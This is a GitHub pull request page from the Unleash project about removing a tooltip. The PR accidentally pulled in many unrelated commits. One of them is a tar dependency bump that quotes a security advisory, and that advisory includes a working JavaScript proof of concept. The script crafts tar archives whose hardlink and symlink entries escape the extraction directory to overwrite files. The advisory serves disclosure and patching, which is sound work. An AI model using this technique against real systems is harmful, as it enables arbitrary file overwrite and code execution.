Skip to content

Conversation

@Curis-lab
Copy link
Contributor

About the changes

This PR removes a tooltip from the feature toggle list that did not provide additional or actionable information and was distracting when browsing the list.
Since the tooltip duplicated existing text without improving clarity, removing it results in a cleaner and less noisy UI.

This aligns with the feedback in the linked issue suggesting either removing the tooltip or making it more descriptive.

Closes #11165

@vercel
Copy link

vercel bot commented Jan 4, 2026

@Curis-lab is attempting to deploy a commit to the unleash-team Team on Vercel.

A member of the Team first needs to authorize it.

Copy link
Contributor

@FredrikOseberg FredrikOseberg left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi @Curis-lab

This change won't work as this will disable tooltip for all usages of the LinkCell component which is used in multiple tables in the Unleash codebase. Sometimes this tooltip is necessary, for example when feature flag names are truncated.

A better approach would be for the LinkCell component to accept a prop to determine whether it should render the tooltip or not and then pass this in from the outside in the tables that do not require tooltip on the link.

@github-project-automation github-project-automation bot moved this from New to In Progress in Issues and PRs Jan 6, 2026
@Curis-lab
Copy link
Contributor Author

Thanks for pointing that out!
I agree — I’ll refactor LinkCell to accept a prop for controlling the tooltip instead of disabling it globally.

@Curis-lab
Copy link
Contributor Author

I’m not sure what I should do next on my PR.

@FredrikOseberg
Copy link
Contributor

a753d3b

@Curis-lab Can you fix the formatting so that git doesn't pick up unneccesary changes? Also, have a look at the failing CI checks and make sure it runs green.

FredrikOseberg and others added 19 commits January 21, 2026 08:51
This PR sets up a getting started guide for the release management
concepts of release plans, automated progressions, impact metrics and
safeguards.

<img width="1631" height="1214" alt="Skjermbilde 2026-01-06 kl 13 02 16"
src="https://github.com/user-attachments/assets/deb1616f-d6df-4d67-bd8a-931c9562f928"
/>
This PR makes the splash navigate to the new getting started guide in
the docs, sets up plausible for the event, and removes the documentation
link.
This PR:
- Format the asset path correctly
- Remove release templates feedback
https://linear.app/unleash/issue/2-4089/add-a-gauge-with-the-total-read-only-users

Adds an initial RO query and gauge, so we can start validating this
feature's business logic.
https://linear.app/unleash/issue/2-4095/add-read-only-users-total-to-self-reporting

Adds RO users to instance stats.

This would allows us to get this data from self-reporting instances.
https://linear.app/unleash/issue/2-4100/create-reader-project-role

Adds a new Reader predefined project role.

We will need this to solve the issue where read only users should have
explicit read only access to private projects, since in order to have
access to private projects, you need a project role. Reader is a role
with no permissions, so it still matches our RO business rules and allow
you to qualify as a RO user, while allowing you to add that user to
private projects.

Since we had a unique constraint on the role name, and it's possible
that customer instances have a custom role called "Reader", I dropped
that unique constraint and instead added a unique constraint on name +
type. That way you only need to have unique names if they have the same
type.

<img width="1000" height="581" alt="image"
src="https://github.com/user-attachments/assets/a42934cd-627d-41a8-be81-f1916d1d89f6"
/>

<img width="461" height="764" alt="image"
src="https://github.com/user-attachments/assets/9599693d-5234-4446-a431-23cb8aa06c65"
/>

---------

Co-authored-by: Gastón Fournier <[email protected]>
Also updates our actions to use the node24 backed runners.
This allows us to use React Developer Tools
https://linear.app/unleash/issue/2-4087/add-new-seattype-text-column-to-the-users-table

Adds a new `seat_type` column to the users table.

This will allow us to optimize the way we handle special seat users
(i.e. RO) instead of having to always calculate them on the fly.
This PR changes the way breadcrumbs look in project pages. Instead of
the project ID, the project name is now displayed.
The change should make it less confusing for users as the project ID can
sometimes differ a lot from the project name, plus the latter can also
be updated.


https://linear.app/unleash/issue/CJUX-352/make-breadcrumbs-show-correct-page-title-consistently

Before: 
<img width="500" height="224" alt="Screenshot 2026-01-07 at 18 05 01"
src="https://github.com/user-attachments/assets/1665b6d6-b715-4350-a53c-cdb527739963"
/>

After:
<img width="500" height="224" alt="Screenshot 2026-01-07 at 18 04 35"
src="https://github.com/user-attachments/assets/637a920f-12e3-4570-be02-e2e8ea4d0eca"
/>
https://linear.app/unleash/issue/2-4088/add-business-logic-and-a-scheduled-job-to-calculate-read-only-users

This simplifies our getReadOnlyUsers query to simply check for the new
`seat_type` column in the users table.
## About the changes
This now checks out the commit from where your branch "branched" from
main and makes the diff.
https://linear.app/unleash/issue/2-4090/add-the-seattype-property-to-the-users-entity-exposing-it-in-the-api

Adds the `seatType` user property, exposing it through the API when the
`readOnlyUsersUI` flag is enabled.
https://linear.app/unleash/issue/2-4094/show-read-only-users-in-the-users-list

Shows seat type in the users table.

This is only visible to Enterprise users that have the `readOnlyUsersUI`
flag enabled.

<img width="1470" height="494" alt="image"
src="https://github.com/user-attachments/assets/aa905670-20a6-4be5-b558-6ddbcbb80b35"
/>
thomasheartman and others added 26 commits January 21, 2026 08:51
…nleash#11215)

Moves the update project context permission into the right section of
the project permissions.

Before:
<img width="1140" height="1191" alt="image"
src="https://github.com/user-attachments/assets/004fecaf-f909-4686-8913-ed106c81b297"
/>

After: 
<img width="1159" height="1212" alt="image"
src="https://github.com/user-attachments/assets/34b707f9-f1e1-490c-bfb0-c4414e71ac50"
/>
…ash#11217)

After changing the project breadcrumbs to include the project name
instead of ID, if the project name is super long the whole page looks
broken.
This PR:
- truncates each breadcrumb path name if too long;
- shows a tooltip with the full project name in project paths if the
name is too long.


## Before 
<img width="800" height="524" alt="Screenshot 2026-01-12 at 14 59 43"
src="https://github.com/user-attachments/assets/aa80731d-49dd-40b1-90cb-2d6daf0d2ba3"
/>
<img width="800" height="524" alt="Screenshot 2026-01-12 at 14 59 50"
src="https://github.com/user-attachments/assets/7bca8643-fb67-4fee-b547-f646b3b8cb94"
/>

## After 
<img width="800" height="396" alt="Screenshot 2026-01-12 at 15 16 08"
src="https://github.com/user-attachments/assets/9999a7e7-3b55-48af-af6d-367f62c023da"
/>

<img width="800" height="268" alt="Screenshot 2026-01-12 at 15 16 11"
src="https://github.com/user-attachments/assets/227229f2-8632-4d78-b90f-7e63f38a458e"
/>
`checkTruncation` in the `Truncator` component currently only detects
vertical truncation, causing the tooltip to not be shown on horizontal
truncation.
This adds horizontal truncation to the check.

## Before (e.g. if used in `BreadcrumbNav`)

<img width="836" height="141" alt="Screenshot 2026-01-12 at 16 22 09"
src="https://github.com/user-attachments/assets/6e00fbf5-7471-4737-b2ea-a65e03a80f09"
/>

## After (e.g. if used in `BreadcrumbNav`)

<img width="838" height="180" alt="Screenshot 2026-01-12 at 16 22 16"
src="https://github.com/user-attachments/assets/e17bbd8d-2d0e-470c-9892-e54c9dc5c08f"
/>
…for project context actions (Unleash#11216)

Updates the context edit actions in the UI to use the new permission
instead of the old update_project.

I have verified manually that this works. Tests will be added in a later
PR.

Merging this one is safe because:
- project permissions are only checked if the api endpoint called has a
project id in its path. As such, there is no chance the update_project
permission will interfere with the existing API.
- The new API is behind a flag and is not available unless the flag is
on. Likewise, the project-specific context field list ils also not shown
unless the flag is on.

Closes 1-4423
…nleash#11222)

Replaces the `min-content` deep-reaching css override on the general
select component with the `autoWidth` prop. This prop appears to solve
the same issues that the min-content width was introduced to address,
but also works better in other cases, such as for very narrow
components.

The previous implementation was introduced in
Unleash#7591 to solve super long names
breaking the dropdown in the flag project selector. The new behavior is
slightly different, and I'd argue, better.

Before:
<img width="1613" height="1723" alt="image"
src="https://github.com/user-attachments/assets/8daacaee-f0aa-4a99-ac94-c7610eee0aef"
/>

After:

<img width="1623" height="823" alt="image"
src="https://github.com/user-attachments/assets/2a47211b-5988-4ca9-bf87-7a2078fd2d6f"
/>

This also paves the way for using context field groupings in the
constraint selector:

With min-content:
<img width="210" height="961" alt="image"
src="https://github.com/user-attachments/assets/9fb3ddee-0a8e-4afa-98cb-b70aa283d035"
/>


With auto-width:
<img width="254" height="752" alt="image"
src="https://github.com/user-attachments/assets/b9a5c6de-2039-4199-a0aa-a9b36c055e5f"
/>
…#11223)

Updates the general select component to accept option groups instead of
just flat options. If an option group is presented, it will unwrap the
options and use ListSubheader component as [shown in the MUI
docs](https://v5.mui.com/material-ui/react-select/#grouping).

Existing uses of this component should not be affected.
Following up on [this
comment](Unleash#11217 (review))
from Unleash#11217: this uses `Truncator` in breadcrumbs.

## Before

<img width="836" height="141" alt="Screenshot 2026-01-12 at 16 22 09"
src="https://github.com/user-attachments/assets/6e00fbf5-7471-4737-b2ea-a65e03a80f09"
/>

## After

<img width="838" height="180" alt="Screenshot 2026-01-12 at 16 22 16"
src="https://github.com/user-attachments/assets/e17bbd8d-2d0e-470c-9892-e54c9dc5c08f"
/>
In order to bring more transparency about how versioning works in
Unleash, this adds a link to the relative docs in the admin dashboard.


https://linear.app/unleash/issue/CJUX-348/version-link-in-admin-dashboard

What it looks like in different viewports:

<img width="592" height="398" alt="Screenshot 2026-01-09 at 20 59 22"
src="https://github.com/user-attachments/assets/245aa2bd-c276-4c6b-ab43-c8d5395393b5"
/>
<img width="1101" height="297" alt="Screenshot 2026-01-09 at 20 59 37"
src="https://github.com/user-attachments/assets/5fb21c13-185a-44e2-9804-822744517aa4"
/>
<img width="515" height="331" alt="Screenshot 2026-01-09 at 21 00 12"
src="https://github.com/user-attachments/assets/4d351fe3-35da-4441-bde3-a5f11725d1b4"
/>
Groups global and project context fields into their own groups in the
context field select list.

This grouping is behind a flag and will affect all items once removed.
That means that the headers will always be there, regardless of whether
there are any project context fields or not. Empty groups will not be
shown.

Before:
<img width="501" height="645" alt="image"
src="https://github.com/user-attachments/assets/0a507895-401d-433a-8567-f3aff6a47956"
/>


After:
<img width="316" height="745" alt="image"
src="https://github.com/user-attachments/assets/e2905dac-1269-4109-bd4a-af9e1d9677b0"
/>


The design is the basic MUI design and is similar to how we do it on the
user context assignment page, cf this screenie:

<img width="504" height="765" alt="image"
src="https://github.com/user-attachments/assets/f0bf28ae-692a-4740-a2e8-edaaf13c98b8"
/>

The difference is that it doesn't make sense to use check boxes here and
that we neven show descriptions.

Closes 1-4412.
https://linear.app/unleash/issue/2-4111/we-should-not-assume-seattype-=-regular-by-default

We should not assume a default 'Regular' seat type for our user entity.

It may be useful to differentiate between actual Regular users and users
that have not been processed yet.
Adds tests for the new project context field permissions, following up
on Unleash#11216 and Unleash#11214.
Clarify how Editors become project owners for the projects they create
…11231)

Makes it so that project owners can manage project context fields
without any additional permissions.
…11232)

Makes it so that project owners can manage project segments without any
additional permissions.

It appears to have been an oversight that this wasn't added to the
project owner role previously.
https://linear.app/unleash/issue/2-4093/add-read-only-users-instance-property-in-auth-app

By adding the `readOnlyUsers` resource to our resource limits we get a
nice-to-use full-stack reference to this value.

In this case we're simply assuming that if the value is truthy, the user
has access to RO users. But in the future we could show this value in
the UI, for example.

---------

Co-authored-by: Christopher Kolstad <[email protected]>
Since there is plenty of space in the header even in smaller viewports,
the command bar stays visible on medium screens (smaller than 'lg') and
disappears on small screens (smaller than 'md').



https://github.com/user-attachments/assets/3e246eae-e301-4772-9f24-8acb774f5e8e

With a super long user name:



https://github.com/user-attachments/assets/07e92904-40d4-4d9f-915e-3491ea001d4a
Cleaning up an unused import in the user schema.
Makes the input expand to use all available horizontal space when
editing a milestone name inside the accordion.


https://linear.app/unleash/issue/CJUX-351/ux-edit-milestone-name-release-templates

## Before: 

<img width="600" alt="Screenshot 2026-01-16 at 16 46 40 (2)"
src="https://github.com/user-attachments/assets/9bfbed55-05c5-4373-a6e0-3004a30d6280"
/>


## After:
<img width="600" alt="Screenshot 2026-01-16 at 16 46 49 (2)"
src="https://github.com/user-attachments/assets/ae7b74bb-09f2-4048-9315-a3dc19041ad6"
/>
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [tar](https://redirect.github.com/isaacs/node-tar) | [`7.4.3` →
`7.5.3`](https://renovatebot.com/diffs/npm/tar/7.4.3/7.5.3) |
![age](https://developer.mend.io/api/mc/badges/age/npm/tar/7.5.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tar/7.4.3/7.5.3?slim=true)
|

### GitHub Vulnerability Alerts

####
[CVE-2026-23745](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97)

### Summary

The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of
`Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is
false (the default secure behavior). This allows malicious archives to
bypass the extraction root restriction, leading to **Arbitrary File
Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink
targets.

### Details

The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and
`[SYMLINK]` methods.

**1. Hardlink Escape (Arbitrary File Overwrite)**

The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to
determine the hardlink target. Standard Node.js behavior dictates that
if the second argument (`entry.linkpath`) is an **absolute path**,
`path.resolve` ignores the first argument (`this.cwd`) entirely and
returns the absolute path.

The library fails to validate that this resolved target remains within
the extraction root. A malicious archive can create a hardlink to a
sensitive file on the host (e.g., `/etc/passwd`) and subsequently write
to it, if file permissions allow writing to the target file, bypassing
path-based security measures that may be in place.

**2. Symlink Poisoning**

The extraction logic passes the user-supplied `entry.linkpath` directly
to `fs.symlink` without validation. This allows the creation of symbolic
links pointing to sensitive absolute system paths or traversing paths
(`../../`), even when secure extraction defaults are used.

### PoC

The following script generates a binary TAR archive containing malicious
headers (a hardlink to a local file and a symlink to `/etc/passwd`). It
then extracts the archive using standard `node-tar` settings and
demonstrates the vulnerability by verifying that the local "secret" file
was successfully overwritten.

```javascript
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

```

### Impact

* **Arbitrary File Overwrite:** An attacker can overwrite any file the
extraction process has access to, bypassing path-based security
restrictions. It does not grant write access to files that the
extraction process does not otherwise have access to, such as root-owned
configuration files.
* **Remote Code Execution (RCE):** In CI/CD environments or automated
pipelines, overwriting configuration files, scripts, or binaries leads
to code execution. (However, npm is unaffected, as it filters out all
`Link` and `SymbolicLink` tar entries from extracted packages.)

---

### Release Notes

<details>
<summary>isaacs/node-tar (tar)</summary>

###
[`v7.5.3`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.2...v7.5.3)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.2...v7.5.3)

###
[`v7.5.2`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.1...v7.5.2)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.1...v7.5.2)

###
[`v7.5.1`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.0...v7.5.1)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.0...v7.5.1)

###
[`v7.5.0`](https://redirect.github.com/isaacs/node-tar/compare/v7.4.4...v7.5.0)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.4.4...v7.5.0)

###
[`v7.4.4`](https://redirect.github.com/isaacs/node-tar/compare/v7.4.3...v7.4.4)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.4.3...v7.4.4)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" in timezone Europe/Madrid,
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDIuNzQuNSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
https://linear.app/unleash/issue/CJUX-359/adjustments-to-quick-filters

This changes the way lifecycle filters are displayed (cc @Healsi).
It includes changes mainly to:

- `DropdownMenu` and `DropdownButton` components: to display the
selected option in the `DropdownButton` and update the styling;

- `LifecycleFilters` component: filters now look similar to
`ChangeRequestFilters`, as they are grouped together. On small
viewports, they are collapsed into a dropdown.

- `ProjectFeatureToggles` (Feature flags section in
`/projects/:projectId` overview page) and `FeatureToggleListTable`
(Flags overview page) components: to update breakpoints as the lifecycle
filters now take up more space.

### Project overview 


https://github.com/user-attachments/assets/c6307eb1-28f7-4e1a-a875-f48d5de38796


### Flags overview 


https://github.com/user-attachments/assets/b9663a15-3f4e-4ba1-b3e1-467a1fd90c29


<img width="362" height="367" alt="Screenshot 2026-01-20 at 13 31 57"
src="https://github.com/user-attachments/assets/183c0f81-9094-40b1-bcab-7e449e70a267"
/>
@Curis-lab
Copy link
Contributor Author

Oh, sorry about that—I’m not sure what I did in this pull request.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: In Progress

Development

Successfully merging this pull request may close these issues.

Please remove the tooltip from the feature flag types list

9 participants